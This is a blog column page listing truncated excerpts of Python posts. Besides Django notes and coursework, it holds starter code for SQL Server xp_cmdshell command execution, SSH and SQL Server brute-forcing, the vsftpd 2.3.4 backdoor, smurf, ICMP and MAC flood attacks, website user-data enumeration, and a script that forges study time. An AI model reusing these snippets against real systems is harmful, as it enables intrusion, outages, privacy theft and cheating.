python
文章平均质量分 50
程序小黑
这个人很懒,什么都不想说。。
展开
-
Django学习 Day9
但是如果用户id=1在多个银行同时存款时,会导致在get时他们的数据在分布式环境中是相同的,这就导致我们需要把这个余额变化的代码看成是一个整体。当在获取查询结果集使用逻辑或|或者是逻辑非~等操作时,可以使用Q对象进行操作。或者,利用F对象,可以查找在Book表中,price大于id的情况。通过F对象的帮助,我们能够较好的解决并发情况下的冲突问题。通常是对数据库中的字段的值在不获取的情况下进行操作。F对象能够很好的解决并发情况下对数据加锁的问题。一个F对象代表数据库中某条记录的字段的信息。原创 2022-12-28 09:20:34 · 522 阅读 · 0 评论 -
Django学习 Day8
在ORM体系中,如果需要实现对批量数据的更新,需要调用QuerySet数据结构的update方法进行实现批量修改。通过返回对象的query方法的__str__()方法,能够得到我们执行的sql语句。注意:用伪删除时,确保显示数据的地方,均加了is_active=True的过滤查询.MyModel.objects.filter(属性1=值1,属性2=值2)如果需要查询所有id大于3的书籍信息,那么需要通过查询谓词进行参数定义。定义:通过查询谓词能够在查询的时候拥有更加灵活的查询条件。原创 2022-12-27 10:45:24 · 881 阅读 · 0 评论 -
Django学习 Day7
首先,创建一个应用程序library,并在项目的配置文件settings.py中进行注册。制作一个页面,用于进行图书馆的书籍展示和管理,随后,修改models.py中的数据信息。在Django shell中插入书本数据。最后运行django,得到如下页面。在views.py中增加路由规则。在templates中设置模板对象。设置书本的id、书名和价格信息。原创 2022-12-26 09:18:06 · 123 阅读 · 0 评论 -
Django学习Day6
数据库中的django_migrations记录了migrate的全过程,项目中各个应用中的migrate文件应该与之相对应,否则migrate会报错。如果要对Teacher的对象数据进行修改,可以使用对象名.属性 = 值的方式直接对对象的内容进行修改,并通过save方式将数据保存到数据库中。每个继承自models.Model的模型类,都会有一个objects的对象被同样继承下来,这个对象叫做管理器对象。在shell中,对于studentapp应用程序中的models.py中的Student类的定义。原创 2022-12-22 12:45:19 · 697 阅读 · 0 评论 -
Django学习Day5
from django . db import models class 模型类名(models . Model) : 字段名 = models . 字段类型(字段选项)通过模型类的定义,就可以实现对数据库结构的增删改查,无需在mysql中敲击mysql的命令,极大程度的简化了开发的成本。字段选项字段选项是指创建的列存在额外的信息。模型类允许多个字段选项出现,多个选项之间使用,隔开。Primary_key如果设置为True,说明该列为主键,如果指定一个字段为逐渐,那么数据表不会创建id字段。原创 2022-12-20 09:47:50 · 359 阅读 · 0 评论 -
Django学习Day4
模型是Python的一个类,是由Django.db.models.Model派生出的子类。一个模型类代表数据库的一张数据表。模型类中的每一个类属性都代表数据库中的一个字段。模型是数据交互的接口,是表示和操作数据的方法和方式。原创 2022-12-16 11:33:21 · 558 阅读 · 0 评论 -
Django 第三天学习笔记
在变量输出时对变量的值进行处理。原创 2022-12-15 11:06:30 · 359 阅读 · 0 评论 -
Django第二天学习记录
由于在request中get和post都是通过GET和POST属性进行保存的,那么通过输出request中的GET和POST属性能够发现,输出的GET和POST信息都是字典信息。那么在这种情况下,我们能够发现,如果需要对用户的GET和POST请求进行分析,这是一个QueryDict的字典格式的数据,和正常的字典数据类型还不太相同。如果需要和模板层进行数据层面上的交互,那么可以尝试在页面中通过{{变量名}}进行对变量的定义,然后在视图层中对模板层的数据进行动态更新。从客户端的请求中获取相关的信息。原创 2022-12-14 09:54:10 · 486 阅读 · 0 评论 -
Django学习第一天记录
通过打开的命令,可以发现,在倒数第三行,有一行提醒,当前的Django版本号为3.2.16,且当前使用的配置文件为Demo1.settings,因此后续对django项目的配置文件的设置可以通过对Demo1.settings的修改作为对目标Demo的配置的修改。并提供了django的一些轻量化演示站点和社区的反馈渠道。那么局域网中其他主机对当前服务进行访问的时候,http请求中的host值将会和allowed_host中的白名单的值相对应,局域网中的其他主机也就能访问当前机器开放的django服务了。原创 2022-12-12 18:45:12 · 569 阅读 · 1 评论 -
使用matplotlib模拟线性回归
在线性空间中-1到1中生成100个数字,并通过reshape函数转换成100行1列的数据,并将其打乱。线性回归的主要作用就是用一条线性的函数或者表达式来拟合在离散空间的随机点,是一种预测性的建模技术。linespace的作用就是在-1和1中生成100个数字,并且这100个数字之间的差是相同的。当重复次数足够大时,损失函数会变少,得到的直线(曲线)就会更加拟合区间上的离散点。ones_like方法返回一个和给定数组相同类型的数组,这里定义为X。将所有代码结合,就能够得到线性回归的运行示意图。...原创 2022-07-20 16:33:22 · 1648 阅读 · 0 评论 -
第十三届蓝桥杯大赛 python B组题解交流
第十三届蓝桥杯大赛江苏赛区 python B组题目交流原创 2022-04-09 17:15:01 · 21522 阅读 · 45 评论 -
使用python利用xp_cmdshell批量执行系统命令
#coding=utf-8import pymssqlimport sysfrom threading import *def connect(ip,username="sa",password="123456",database="MyDB"): conn = pymssql.connect(ip,username,password,autocommit=True,timeout=2) cursor = conn.cursor() query = "sp_configur原创 2022-03-22 10:29:53 · 1410 阅读 · 0 评论 -
使用python实现SQL server的暴力破解
import optparseimport pymssqldef connectdatabase(filename,ip,dbname): with open(filename) as f: for content in f.readlines(): allcontent = content.replace('\n','') result = allcontent.split(':') username = result[0] password = result[1]原创 2022-03-22 10:28:36 · 1503 阅读 · 0 评论 -
使用Python实现ssh的暴力破解
#!/usr/bin/python# -*- coding:utf-8 -*-import sshclassimport sysimport threadingimport timereload(sys)sys.setdefaultencoding('utf-8')__metaclass__ = typeclass Threadssh(threading.Thread): def __init__(self, func, args): threading.原创 2022-03-22 10:27:44 · 1255 阅读 · 0 评论 -
使用python利用FTP2.3.4的笑脸漏洞
首先FTP是一个文件传输协议,而且FTP是一种明文的传输协议,通过WIreshark抓包能够直接获取到FTP协议的传输内容。而在FTP2.3.4版本中,当用户名中存在:)的笑脸标志时,能够直接执行系统命令。我们如果在CTF中遇到了FTP2.3.4版本号的服务,可以使用python进行批量攻击,那我们需要编写脚本来实现这个功能,同时我们最好是使用socket来实现和FTP服务的明文通信。这个过程和使用nc命令来测试网络连通性是相同的。而在python中,利用代码如下:import timeimpor原创 2022-03-22 10:25:55 · 1396 阅读 · 1 评论 -
使用Python实现批量SSH弱密码检测
#!/usr/bin/python# -*- coding:utf-8 -*-import sshclassimport sysimport threadingimport timereload(sys)sys.setdefaultencoding('utf-8')__metaclass__ = typeclass Threadssh(threading.Thread): def __init__(self, func, args): threading.原创 2022-03-22 10:38:36 · 676 阅读 · 0 评论 -
使用python实现smurf攻击
from scapy.all import *from time import sleepimport _threadimport random target = '192.168.113.100'threadnum = 200def smurf(target): while True: send(IP(src=target, dst="192.168.113.255")/ICMP(), count=100, verbose=0)def attack(targ原创 2022-03-21 09:39:20 · 520 阅读 · 0 评论 -
使用python实现nmap的UDP扫描
import socketimport timefrom scapy.all import *import optparsedef tcpconnect(host,port): try: conn = socket.socket(socket.AF_INET,socket.SOCK_STREAM) conn.connect((host,port)) print '[+]%d/tcp open' % (port) conn.close() except: passdef ud原创 2022-03-21 09:38:50 · 706 阅读 · 1 评论 -
使用Python实现路由追踪脚本
from scapy.all import *import sysfrom socket import *import osfrom threading import *screenlock=Semaphore(value=500)def gsd(): print '[*]TCP routing' try: r2,unans=traceroute([sys.argv[1]],dport=[sys.argv[2]],maxttl=20) except Exc原创 2022-03-21 09:38:00 · 962 阅读 · 0 评论 -
CTF比赛中使用Python通过Mysql漏洞获取FLAG
#!/usr/bin/env pythonimport MySQLdbdef Mysql_Inject(ip,flag): db = MySQLdb.connect("127.0.0.1","root","123456","python") cursor = db.cursor() try: query = "insert into py values(\"%s\",\"%s\");"%(ip,flag) cursor.execute(query原创 2022-03-21 09:36:37 · 1308 阅读 · 0 评论 -
使用python的scapy模块实现mac地址泛洪
#!usr/bin/python#-*- coding:utf-8 -*-import sysfrom scapy.all import *def mac_floodatt(interface): attackpacket = Ether(src=RandMAC(), dst=RandMAC())/IP(src=RandIP('*.*.*.*'), dst=RandIP('*.*.*.*'))/ICMP() #attackpacket = Ether(srlc=RandMAC()原创 2022-03-21 09:34:23 · 906 阅读 · 0 评论 -
Python使用SCAPY实现icmp flood的方法
#!usr/bin/python#-*- coding:utf-8 -*-import sysfrom scapy.all import *def mac_floodatt(interface): data = '0123456789012309129834912734981270497810892471241209478812094701298471208947120974123089471208974089127498127390481270491297341230894308927原创 2022-03-21 09:30:27 · 847 阅读 · 0 评论 -
使用Python实现某网站的用户数据遍历实现方法
本方法是很久以前的实现方法,目前网站不确定能用,代码中的网站信息已隐藏。import urllibimport reimport base64import randomdef get_user_info(phone): userinfo = base64.b64encode(phone) url = "http://********/?q=user_manager/user_info/" + str(userinfo) + "/detailInfo" response =原创 2022-03-21 09:28:43 · 509 阅读 · 0 评论 -
Python学习过程的脚本记录(2)——网络脚本
使用Python实现DOS攻击(SCAPY模块)#-*- coding:UTF-8 -*-import timeimport sysimport threadingfrom scapy.all import *def start_attack(): ip_adress = "" data = "X"*1300 ip_adress = sys.argv[1] send(IP(dst=ip_adress)/ICMP()/data, verbose=False, loop=1)if原创 2022-03-21 09:26:24 · 690 阅读 · 2 评论 -
Python学习过程的脚本记录(1)
1.使用Python获取目录下的文件名# -*- coding: utf-8 -*-import ospath = "C:\"def file_name(file_dir): L = [] for root, dirs, files in os.walk(file_dir): for file in files: if os.path.splitext(file)[1] == '.jpg': L.append原创 2022-03-21 09:21:27 · 341 阅读 · 0 评论 -
Python学习实验报告(4)
1.1 为二次方程式ax2+bx+c=0设计一个名为Equation的类,这个类包括:1)代表3个系数的成员变量a、b、c;2)一个参数为a、b、c的构造方法;3)一个名为getDiscriminant()的方法返回判别式的值;4)两个分别名为getRoot1()和getRoot2()的方法返回方程的两个根,如果判别式为负,这些方法返回None。#coding=utf-8import mathclass Equation: a = 0 b = 0 c = 0 d原创 2022-02-15 15:18:54 · 3046 阅读 · 0 评论 -
Python学习实验报告(3)
1.1 定义一个is_leap(year)函数,该函数可判断year是否为闰年。若是闰年,则返回True;否则返回False。def is_leap(year): if int(year)% 100 != 0 and int(year) % 4 == 0: return True else: return False data = input("请输入年份:")if is_leap(data): print("是闰年")else:原创 2022-02-15 15:15:47 · 3400 阅读 · 2 评论 -
Python学习实验报告(2)
1.1 编写程序,生成一个包含50个随机整数的列表,然后删除其中的奇数。说明:从后向前删。#coding=utf-8import randomnumber_list = []for i in range(0,50): number_list.append(random.randint(0,65535))number_list2 = []for num in number_list: if num%2 == 0: number_list2.append(num)原创 2022-02-15 15:11:10 · 2887 阅读 · 0 评论 -
Python学习实验报告(1)
1.1 编写程序,根据输入的三科成绩值,计算并打印平均值和总分。要求:使用三种格式化字符串方式输出结果;说明:输入为math = 130, eng = 101, chi = 126;输出为print(“average score is {}, sum score is {}”.format(…))1.2 编写程序,输入任意大的自然数,分别输出自然数的位数、各位数字之和、各位数字按降序排列后的新自然数。要求:至少测试5个不同的自然数;说明:1)可以使用内置函数map();2)例如输入314,输出原创 2022-02-15 15:08:07 · 9087 阅读 · 0 评论 -
青苜网 某知识竞赛学习时长脚本
由于学校要求。需要我们完成10个小时的知识竞赛学习。这个平台有一个问题,就是每5分钟会有弹窗要求点击,然后才能继续学习时长的积累。这边通过网页的抓包找到了模拟数据包来伪造学习过程的接口,从而实现全自动的刷取学习时间。下面不多说,直接放出源代码。网站地址:http://www.cimo.cn/import requestsimport timerequest = requests.se...原创 2019-11-20 13:59:36 · 1919 阅读 · 3 评论